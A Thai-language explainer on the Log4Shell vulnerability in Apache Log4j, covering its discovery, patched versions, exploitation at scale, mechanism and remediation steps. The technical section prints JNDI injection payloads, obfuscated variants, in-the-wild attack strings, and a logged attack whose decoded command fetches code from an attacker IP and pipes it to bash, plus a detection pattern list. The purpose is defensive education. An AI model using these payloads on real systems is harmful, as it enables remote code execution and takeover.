Java อยู่ทุกที่: มือถือ เดสก์ท็อป เซิร์ฟเวอร์ IoT รูเตอร์ พิมพ์ถ่ายเอกสาร ประมาณ 3 พันล้านอุปกรณ์รัน Java แอปยอดนิยม เกม แอปองค์กรพัฒนาด้วย Java Library Log4j ของ Apache Software Foundation เป็นส่วนสำคัญของ Logging Framework บันทึก Error Messages
การใช้งาน Log4j Library
Logging ช่วยนักพัฒนาดูกิจกรรมแอป เกือบทุกแอป (รวม Cloud) สร้าง Log นักพัฒนานิยมใช้ Library Logging ที่มีอยู่ (Best Practice) Log4j เป็น Library ยอดนิยมที่สุดของ Java
ดังนั้น เกือบทุกแอปที่เขียนด้วย Java (รวม รัฐบาล องค์กร Microsoft Apple Google) อาจมี Library นี้ ช่องโหว่ใน Library แบบนี้ = ฝันร้ายของ Cyber Security และฝันดีของแฮกเกอร์ เพราะเป็น Open Source ไม่มีสถิติทางการว่ามีอุปกรณ์/แอปกี่ตัวใช้อยู่
Log4j ถูกใช้โดย: แอปยอดนิยม (Twitter, Apple iCloud), เกม (Minecraft, Steam), เว็บไซต์, Framework อื่นๆ (Kafka, Elasticsearch, Flink) รายการที่เปราะบางเพิ่มขึ้นเรื่อยๆ
การค้นพบช่องโหว่
รายงานแรก: 1 ธันวาคม 2021 โดย Chen Zhaojun (Alibaba Cloud Security) แจ้ง Apache Foundation (Responsible Disclosure) ค้นพบใน Minecraft - ฟีเจอร์ Chat ใช้ Java API ที่เรียก Log4j แฮกเกอร์ใช้โจมตีเซิร์ฟเวอร์ Minecraft (แช่แข็งเซิร์ฟเวอร์ ลบผู้เล่น) ผ่าน Remote Code Execution (RCE) เพิ่มระดับความรุนแรง
Apache ยอมรับสาธารณะ 9 ธันวาคม 2021 ชื่อช่องโหว่า: Log4Shell รหัส CVE: CVE-2021-44228 (CVE = ระบบตั้งชื่อช่องโหว่ระดับโลก) จัดเป็น Zero-day Vulnerability (แฮกเกอร์โจมตีก่อนนักพัฒนารู้ ไม่มีวันเตรียม Patch)
เวอร์ชันที่ได้รับผลกระทบ และ Patch
Log4j 2.0 ถึง 2.14.1 ได้รับผลกระทบ
- 2.15.0 - Patch แรก สำหรับ CVE-2021-44228
- CVE-2021-45046 - ช่องโหว่รอง (Non-default config) ความรุนแรง 3.7
- 2.16.0 - Patch สำหรับ CVE-2021-45046
- 2.17.0 - Patch สำหรับ CVE-2021-45105 (DoS Attack)
ข้อมูล Patch อยู่ที่หน้า Log4j Security ของ Apache แม้ Patch ออกแล้ว แอปที่ยังใช้เวอร์ชันเก่ายังคงเปราะบาง รวมถึง Abandonware (ซอฟต์แวร์ที่เจ้าของทิ้งรอด ไม่มี Support)
ขนาดความรุนแรง
ระดับความเสี่ยง 10/10 (สูงสุด) ผู้เล่นใหญ่ (Microsoft, Google, Cisco) รัฐบาล Apache ทำงานวัน-คืน Patch Jen Easterly (Director CISA) กล่าว: "One of the most serious that I've seen in my entire career, if not the most serious." ผู้นำอุตสาหคิดว่าจะคอยกวนใจอุตสาหกรรมเป็นปีๆ
ทำไมไม่ค้นพบก่อนหน้านี้?
Log4j ออกมาตั้งแต่ 2013 แต่ 2016 BlackHat USA มีการนำเสนอช่องโหว่ JNDI Attack Vector แต่ช่องโหว่ครั้งนี้เป็น Template Injection ใช้ JNDI ได้ เทคโนโลยีใหม่ๆ ทำให้โจมตีแบบนี้เป็นไปได้ (เวอร์ชัน < 2.0 ไม่ได้รับผลกระทบ แต่มีปัญหาอื่น)
การโจมตีที่พบ
แฮกเกอร์ใช้ Exploit นี้: CryptoMiners (ขุดคริปโต) → Cobalt Strike (ขโมย Username/Password) → Ransomware (Khonsari) → State-backed Hacking Groups โจมตีคู่แข่ง แผนที่ ESET: โจมตีมากสุด US, UK, Germany, Turkey, Netherlands
1.8 ล้าน+ ครั้ง** พยายามโจมตี (เพิ่มขึ้นเรื่อยๆ) **40%+ Corporate Networks** ถูกโจมตี Exploit Code เผยแพร่บนหลายไซต์ โจมตีผ่าน HTTP/HTTPS ได้ หากมี Malware Worm** พัฒนาขึ้น (Self-replicate แพร่ผ่าน Network) ผลกระทบจะใหญ่กว่ามาก (เช่น Code Red 2000s, WannaCry 2017)
กลไกการทำงาน
Log4j ติดตามกิจกรรมแอป แฮกเกอร์เพียงบังคับให้ Log Entry** เกิดขึ้น (เช่น ตั้ง Username, ส่ง Code String ใน Email) การสร้าง Log Entry แตกต่างตามแอป (Minecraft ใช้ Chat) เมื่อ Log Entry รหัสร้ายถูกสร้าง แฮกเกอร์โหลดโค้ดร้าย ควบคุมระบบเต็มที่ แพร่ Network ติดมัลแวร์ ฯลฯ
อันตรายที่สุด: Pre-authenticated (แฮกเกอร์ไม่ต้อง Sign-in เข้าระบบก่อน)
ขั้นตอน Exploit:
- แฮกเกอร์ส่ง Malicious Payload ผ่าน User Input (HTTP Header ฯลฯ)
- แอป Log Payload ไว้
- Log4j พยายาม Interpret** Input ร้าย → เชื่อมต่อ Hacker-controlled Server (LDAP)
- Server ร้าย ตอบกลับ** สั่งโหลด Remote Java Class File
- แอปดาวน์โหลด/รันไฟล์ Remote → แฮกเกอร์ควบคุมได้
คุณปลอดภัยไหม?
ขึ้นอยู่กับ** หากองค์กรใช้ Java Log4j → คุณและองค์กรเสี่ยง หากไม่ใช้ Java-based (ไม่น่าจะเป็น) แต่ Enterprise Apps, 3rd Party Utilities, Dependencies ใช้ Java → อาจเสี่ยง ค้นหาแอปที่ใช้ว่าเปราะบางไหม
ควรทำอย่างไร?
สำหรับผู้ใช้ทั่วไป
ไม่ทำอะไรมากนอกจาก อัปเดตแอป (โดยเฉพาะ Antivirus/Anti-malware), อุปกรณ์, OS ให้ล่าสุด** ถ้าใช้ Abandonware ให้ Uninstall ถ้าใช้ Online Services (Stream ฯลฯ) ตรวจสอบว่าพวกเขา Patch แล้วหรือยัง
สำหรับองค์กร
ขั้นตอนแตกต่างกันไป แต่อย่างน้อย:
- Audit** ทั้งโครงสร้างพื้นฐาน Dependencies, 3rd Party, Remote Employees หา Pattern ใน Logs:
${jndi:ldap:/} ${jndi:ldaps:/} ${jndi:rmi:/} ${jndi:dns:/} ${jndi:iiop:/} - ใช้ Automated Threat Hunting Tools** (Log4j Vulnerability Tester by TrendMicro)
- นักพัฒนาตรวจสอบ Code หา Reference Log4j
- Patch Internet-facing Devices** เร็วที่สุด (แฮกเกอร์นำหน้าอย่างน้อย 7 วัน)
- ติด Web Application Firewall (WAF)**
- อัปเดตทุกแอป/บริการให้ล่าสุด (Microsoft, Oracle, Apple, Google, Amazon ฯลฯ Patch แล้ว)
- จำกัด Internet Traffic ที่ไม่จำเป็น** ลดความเสี่ยง
Technical Details (สำหรับนักพัฒนา)
Exploit ผ่าน JNDI (Java Naming and Directory Interface) Lookup** อาจก่อให้เกิด DoS JNDI หา Expression ${a_Java_expression} แทนที่ค่า Lookups ที่รองรับ: sys, JNDI, env, java, lower, upper Protocols: LDAP, DNS, RMI, IIOP
Attacker inject log entry ผ่าน HTTP Request Log4j Lookup ดาวน์โหลด/รัน malicious.class บน LDAP Server ของแฮกเกอร์ ถ้า LDAP Object มี javaNamingReference และ Attributes:
javaCodebase javaFactory javaClassName
LDAP Object Loader จะ Extract URL จาก javaCodebase สร้าง Object ใน Memory เมื่อ Constructor รัน → Untrusted Code จาก Untrusted Source รันบนเครื่องเหยื่อ
Expression พื้นฐาน: ${jndi:ldap://{attacker_website}/a} → รันโค้ดร้ายจาก: https://{attacker_website}/{malicious.class} → Shell Commands (JavaScript, Java Class, Unix Shell)
ความสามารถ Nesting ของ ${} Block** ทำให้ตรวจจับยาก (เช่น ${${lower:jn}${lower:di}} แทน ${jndi:})
แฮกเกอร์วางโค้ดที่ไหน? แอปล็อกทุกอย่าง: HTTP Headers (User-Agent, X-Forwarded-For), URI, Request Body แฮกเกอร์ส่ง Request จากอินเทอร์เน็ต → ควบคุมเครื่องเหยื่อ
ตัวอย่าง URLs ที่พบโจมตี:
${jndi%3aldap%3a//0ky8rj5089x9qx7tq8djb3rpp.canarytokens[.]com/a}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName:user:env}.c6340b92vtc00002scfggdpcz9eyyyyyd.interactsh[.]com}
${jndi:ldap://5819.u837r4g5oolsy8hudoz24c15nwtohd.burpcollaborator[.]net/a}
...
HTTP Log แสดงการโจมตี:
45.155.205[.]233:53590 server:80 - [10/Dec/2021:13:25:10 +0000] "GET / HTTP/1.1" 200 1671 "-" "${jndi:ldap://45.155.205[.]233:12344/Basic/Command/Base64/[BASE64-code-removed]}"
Base64 Decode: (curl -s 45.155.xxx.xxx:5874/server:80||wget -q -O- 45.155.xxx.xxx:5874/server:80)|bash (ดึงโค้ดร้าย รันด้วย Bash)
ขอให้ผู้อ่านระมัดระวัง** ไม่ควร掉以轻心 เพราะอินเทอร์เน็ตกำลัง "ไฟไหม้" จากช่องโหว่นี้